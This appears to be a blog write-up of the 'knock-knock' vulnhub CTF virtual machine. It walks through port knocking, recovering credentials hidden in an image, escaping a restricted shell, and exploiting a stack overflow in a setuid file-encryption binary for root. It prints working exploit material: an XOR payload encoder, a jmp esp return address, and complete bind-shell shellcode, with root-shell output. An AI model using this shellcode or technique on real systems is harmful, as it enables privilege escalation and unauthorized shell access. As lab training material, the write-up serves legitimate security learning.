Near the end of ASIS CTF, in which vulnhub-ctf
took part, zer0w1re decided to release his first VM called knock-knock! Naturally, I had to download it and give it a shot :)
The name already gives a big hint. I supposed I had to deal with a port-knocking deamon like knockd
. I opened the ova in VirtualBox and booted the virtual machine. I ran a ping scan with nmap
and then a normal scan.
bas@tritonal:~$ sudo nmap 10.8.7.101 -sS -p- -T4
Starting Nmap 6.00 ( http://nmap.org ) at 2014-10-14 21:27 CEST
Nmap scan report for 10.8.7.101
Host is up (0.00052s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
1337/tcp open waste
MAC Address: 08:00:27:BE:DD:C8 (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 143.73 seconds
The scan took ages to complete, but did give me exactly one port to connect to. If that isn’t a clear path, then I don’t know what is. Connecting to 1337 with nc
returns a list of three numbers. Not just any kind of numbers, no! They had to be port numbers. Let the knocking commence! I whipped up a small Python script to automate it:
#!/usr/bin/python
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('10.8.7.101', 1337))
data = s.recv(256)
data = data.replace(',','')
ports = data[1:-2].split()
try:
print 'port: {}'.format(ports[0])
a = socket(AF_INET, SOCK_STREAM)
a.connect(('10.8.7.101', int(ports[0])))
except:
pass
try:
print 'port: {}'.format(ports[1])
b = socket(AF_INET, SOCK_STREAM)
b.connect(('10.8.7.101', int(ports[1])))
except:
pass
try:
print 'port: {}'.format(ports[2])
c = socket(AF_INET, SOCK_STREAM)
c.connect(('10.8.7.101', int(ports[2])))
except:
pass
Probably not the most elegant way of doing it, but I was still in a CTF mindset ;) I ran the script and then nmap
again, but found that nothing had happened! What could be going on here? I tried to debug script a bit, added the try/except blocks to make it robust, but I couldn’t figure out why it wasn’t working. Maybe not all of the knocks were getting through? I decided to run the script continuously:
bas@tritonal:~$ while [[ 1 ]]; do python ./knock.py; done
port: 37586
port: 25290
port: 48122
port: 16312
port: 44654
port: 25600
port: 53987
port: 55993
<snip>
After a while, I ran nmap
for the umpthieth time and lo and behold, ssh
and http
were open! Later, when I rooted the box, I had a look at the script that sets up the port knocking. It randomizes the port order, so there’s a one in six chance that my script gets it right. I modified it so that it completes the port-knocking every time:
#!/usr/bin/python
from socket import *
import itertools
def knock(ports):
try:
print 'port: {}'.format(ports[0])
a = socket(AF_INET, SOCK_STREAM)
a.connect(('10.8.7.101', int(ports[0])))
except:
pass
try:
print 'port: {}'.format(ports[1])
b = socket(AF_INET, SOCK_STREAM)
b.connect(('10.8.7.101', int(ports[1])))
except:
pass
try:
print 'port: {}'.format(ports[2])
c = socket(AF_INET, SOCK_STREAM)
c.connect(('10.8.7.101', int(ports[2])))
except:
pass
s = socket(AF_INET, SOCK_STREAM)
s.connect(('10.8.7.101', 1337))
data = s.recv(256)
data = data.replace(',','')
ports = data[1:-2].split()
for portlist in itertools.permutations(ports):
knock(portlist)
bas@tritonal:~$ sudo nmap 10.8.7.101 -sS -T4 -p1-100
Starting Nmap 6.00 ( http://nmap.org ) at 2014-10-14 21:35 CEST
Nmap scan report for 10.8.7.101
Host is up (0.00043s latency).
Not shown: 98 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:BE:DD:C8 (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds
I had no credentials for ssh
so I fired up a browser and pointed it at 10.8.7.101. I also started dirbuster
just in case.
Not much was on that webpage, not even in the source. I grabbed the image and poked at it using stego tools such as stepic
and outguess
, which came up negative. A quick strings
on the jpg revealed something much more interesting:
bas@tritonal:~$ strings knockknock.jpg
<snip>
CN=i
\,mk
1W}R
LUv*
\Uv*
*M1W
tR)O
MO:/?
qW|U
\+\U
Login Credentials
abfnW
sax2Cw9Ow
I figured that it was worth a shot, even though the credentials looked weird. Needless to say, they didn’t work. I switched them around as well but no luck. The strings looked mangled, so what could have been done to them? rot13
maybe? Indeed, after dumping the strings in rot13.com, I got something that resembled a user name: nosaJ, which is Jason reversed. The same was done for the password and the combination that let me in was jason:jB9jP2knf
. I could ssh
in and was presented with a shell! I pressed ‘up’ to view the command history, but .bash_history
was symlinked to /dev/null
. I fixed that and went on. ls -alh
showed a setuid binary called tfc
. Owned by root, I might add! Turns out that jason actually has a restricted bash, but that was quickly solved using nice /bin/bash
(after Persistence, I learned four more ways of escaping rbash
;)).
Looking at this tfc
binary, it seems that it is a “tiny file crypter”. Playing around with it, I was able to encrypt a file and decrypt it again. This meant that it was doing some kind of symmetrical encryption.
jason@knockknock:~$ ./tfc
_______________________________
\__ ___/\_ _____/\_ ___ \
| | | __) / \ \/
| | | \ \ \____
|____| \___ / \______ /
\/ \/
Tiny File Crypter - 1.0
Usage: ./tfc <filein.tfc> <fileout.tfc>
When I downloaded the first public version of this VM, tfc
still allowed symlinks. It wanted the filenames to end with .tfc, so I made a symlink to /etc/shadow
, used that as input for tfc
, decrypted it to get the shadow file. I then copied the line containing the hash of jason’s password and overwrote the line for root. Reversing the process again overwrote /etc/shadow
and I had root! However, this was not intended and zer0w1re released a fixed version…
So I had to exploit tfc
the proper way. Now, this binary was made by c0ne, so I was in for a treat! I first gave it a huge input file:
jason@knockknock:~$ python -c 'print "A"*10000' > in.tfc
jason@knockknock:~$ ./tfc ./in.tfc out.tfc
Segmentation fault
Well, well, well, a segfault! This looked promising. Unfortunately, gdb
was not installed on this VM, so I transferred the binary over to my box and repeated the process.
bas@tritonal:~/tmp/knockknock$ python -c 'print "A"*10000' > in.tfc
bas@tritonal:~/tmp/knockknock$ ulimit -c unlimited
bas@tritonal:~/tmp/knockknock$ ./tfc in.tfc out.tfc
Segmentation fault (core dumped)
bas@tritonal:~/tmp/knockknock$ gdb ./tfc core
GNU gdb (GDB) 7.4.1-debian
<snip>
Program terminated with signal 11, Segmentation fault.
#0 0x0675c916 in ?? ()
gdb-peda$
Hmm. So we have a segfault, but eip
is not overwritten by 0x41414141
. Something funky is going on! I assumed eip
was being overwritten by the encrypted bytes, so I needed to first encrypt my payload before tfc
would process it and decrypt it again. Over at #vulnhub, recrudesce dropped a nice link for an online disassembler. I decided that this was a nice moment to give the Retargetable Decompiler a spin! I uploaded the binary and using the output and objdump
, I started analyzing the binary.
It boils down to this: the binary takes an input file, read it four bytes at a time, and encrypts it using the xcrypt
function. For the next four bytes, it shuffles the XOR key around. It loops until there are less than four bytes remaining, which are also encrypted. I decided to rip and copy this decompiled C code as much as possible. I have changed the names of the variables a bit:
int32_t xcrypt(int32_t * a1_buffer, uint32_t a2_buffersize) {
int32_t * v1_buffer = (int32_t *)*a1_buffer;
int32_t v2 = -0x15e54e61;
if (a2_buffersize >= 4) {
int32_t * v3_buffer = v1_buffer;
int32_t v4_index = 0;
int32_t v5_xor = -0x15e54e61;
while (true) {
// 0x8048634
v3_buffer[v4_index] ^= v5_xor;
uint32_t v6_xor = v5_xor;
// branch -> 0x8048662
int32_t v7_temp; // 0x804866f
/* change v6_xor */
for (uint32_t i = 0; i < 8; i++) {
uint32_t v8 = v6_xor / 2; // 0x8048678
v7_temp_xor = v6_xor % 2 == 0 ? v8 : v8 ^ 0x6daa1cf4;
// PHI copies at the loop end
v6_xor = v7_temp_xor;
// loop 0x8048662 end
}
int32_t v9_indexplusone = v4_index + 1; // 0x8048685
if (a2_buffersize / 4 > v9_indexplusone) {
// 0x8048685
v3_buffer = v1_buffer;
v4_index = v9_index;
v5_xor = v7_temp_xor;
// branch -> 0x8048634
continue;
} else {
v2_xor = v7_temp_xor;
}
}
}
int32_t v10 = a2_buffersize % 4; // 0x80486d7
if (v10 == 0) {
// 0x80486df
return 0;
}
/* encrypt last bytes, but lets assume our sploit will be 4 byte aligned */
I wrote a very, very ugly piece of Python do the encryption for me:
#!/usr/bin/python
import struct
with open('in.tfc') as f:
data = f.read()
f.close()
xorkey = -0x15e54e61
output = ''
for i in range(len(data)/4):
block = data[i*4:(i+1)*4]
int_block = struct.unpack('<i', block)
output += (struct.pack('i', (int_block[0] ^ xorkey)))
for z in range(8):
v8 = int(int(xorkey / 2) & 0x7fffffff) # not sure why 0x7fff.. i.o. 0xffff
if (xorkey % 2 == 0):
v7 = v8
else:
v7 = v8 ^ 0x6daa1cf4
xorkey = v7
with open('out2.tfc', 'w') as f:
f.write(output)
f.close()
Like I said, a CTF mindset and some very ugly Python code, but I was now able to encode my payload (updated version at end of post). I gave it a spin:
bas@tritonal:~/tmp/knockknock$ python -c 'print "A"*5000' > in.tfc
bas@tritonal:~/tmp/knockknock$ python ./enc.py
bas@tritonal:~/tmp/knockknock$ ./tfc out2.tfc bleh.tfc
Segmentation fault (core dumped)
bas@tritonal:~/tmp/knockknock$ gdb ./tfc core
GNU gdb (GDB) 7.4.1-debian
<snip>
Core was generated by './tfc out2.tfc bleh.tfc'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
gdb-peda$
Yeah! I was able to overwrite eip
! I narrowed down the buffer and determined which part was responsible for overwriting eip
by trial-and-error and looking at the stack in the coredump. I finally found:
bas@tritonal:~$ python -c 'print "A"*4124+"B"*4+"C"*4' > in.tfc && python ./enc.py
bas@tritonal:~/tmp/knockknock$ ./tfc out2.tfc bleh.tfc
Segmentation fault (core dumped)
bas@tritonal:~/tmp/knockknock$ gdb ./tfc core
GNU gdb (GDB) 7.4.1-debian
<snip>
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
gdb-peda$ q
bas@tritonal:~/tmp/knockknock$ readelf -l tfc
Elf file type is EXEC (Executable file)
Entry point 0x8048500
There are 8 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00c48 0x00c48 R E 0x1000
LOAD 0x000c48 0x08049c48 0x08049c48 0x00250 0x00254 RW 0x1000
DYNAMIC 0x000c54 0x08049c54 0x08049c54 0x000f0 0x000f0 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x000b54 0x08048b54 0x08048b54 0x00034 0x00034 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
<snip>
Okay, great. The stack is executable so I could stash the shellcode there. ASLR on the remote machine was enabled, so all I needed was a jmp esp
to jump to the shellcode. I found one conveniently located in the binary, but I really had to dig:
gdb-peda$ b main
Breakpoint 1 at 0x8048927
gdb-peda$ r
<snip>
Breakpoint 1, 0x08048927 in main ()
gdb-peda$ find "\xff\xe4" all
Searching for '\xff\xe4' in: all ranges
Found 96 results, display max 96 items:
tfc : 0x8048e93 --> 0xe4ff
tfc : 0x8049e93 --> 0xe4ff
libc : 0xf7e18a85 --> 0x7f1be4ff
libc : 0xf7e4fdad (jmp esp)
libc : 0xf7f6deb3 --> 0xffffe4ff
<snip>
gdb-peda$ x/i 0x8048e93
0x8048e93: jmp esp
With that hurdle taken, I first verified the exploit by making the shellcode a bunch of int 3
s. This made tfc
crash with SIGTRAP, confirming that it worked. I used bind@64533, my favorite shellcode. Finally, my exploit looked like this:
python -c 'print "A"*4124+ # filler
"\x93\x9e\x04\x08"+ # overwrite eip
"\x83\xec\x7f" + # sub esp, 127 to reserve stack space, followed by the shellcode
"\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"+
"AAAAAAAAAAAAAAAAAAA" # some padding
' > in.tfc && python ./enc.py
This generated the file out2.tfc
. I verified the exploit locally, after which I transferred it over to knock-knock. I ran the exploit and connected to localhost:64533
with my fingers crossed:
jason@knockknock:~$ xxd sploit.tfc |head
0000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48 ..[.]..C...dl..H
0000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c ).Aotg.\!.E?...l
0000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979 +..B..$f5%..&..y
0000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77 ..|S[I;R...+T..w
0000040: e104 0424 cd9f e437 f09c 3f69 0095 7727 ...$...7..?i..w'
0000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41 ..3...s<A..^..^A
0000060: 9a35 9167 ccf8 1f00 a809 c919 309d c241 .5.g........0..A
0000070: 8f7a 207c f8b3 7765 9a72 7417 8b1d 6f00 .z |..we.rt...o.
0000080: b137 a610 ee6c 1a61 966e 1438 0c19 e245 .7...l.a.n.8...E
0000090: c7e6 f342 abc1 9363 504c af0b 199e d551 ...B...cPL.....Q
jason@knockknock:~$
jason@knockknock:~$
jason@knockknock:~$ ./tfc sploit.tfc bleh.tfc &
[1] 3578
jason@knockknock:~$ nc localhost 64533
id
uid=1000(jason) gid=1000(jason) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(jason)
whoami
root
From here, I could view the flag:
Game over!
Or was it? leonjza came up with a nice idea, why not use the core dump instead to extract the encrypted payload? I spent some time and came up with the following bash script. It abuses the fact that the encrypted file will start with the same bytes every time. This script generates the exact same payload as before:
I will leave a ROP exploit ‘as an exercise to the reader’ :) knock-knock was a fun VM and so thanks to zer0w1re and c0ne!
Updated enc.py
, contained another error but should be fixed now:
#!/usr/bin/python
import struct, sys
def xcrypt(infile, outfile):
with open(infile) as f:
data = f.read()
f.close()
xor_key = 0xea1ab19f
output = ''
for i in range(len(data)/4):
block = struct.unpack( '<L', data[i*4 : (i+1)*4] )[0]
output += struct.pack( '<L', (block ^ xor_key) )
for n in range(8):
temp_xor_key = xor_key >> 1
if (xor_key & 1):
temp_xor_key ^= 0x6daa1cf4
xor_key = temp_xor_key
with open(outfile, 'wb') as f:
f.write(output)
f.close
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: {} <infile> <outfile>'.format(sys.argv[0])
exit(1)
xcrypt(sys.argv[1], sys.argv[2])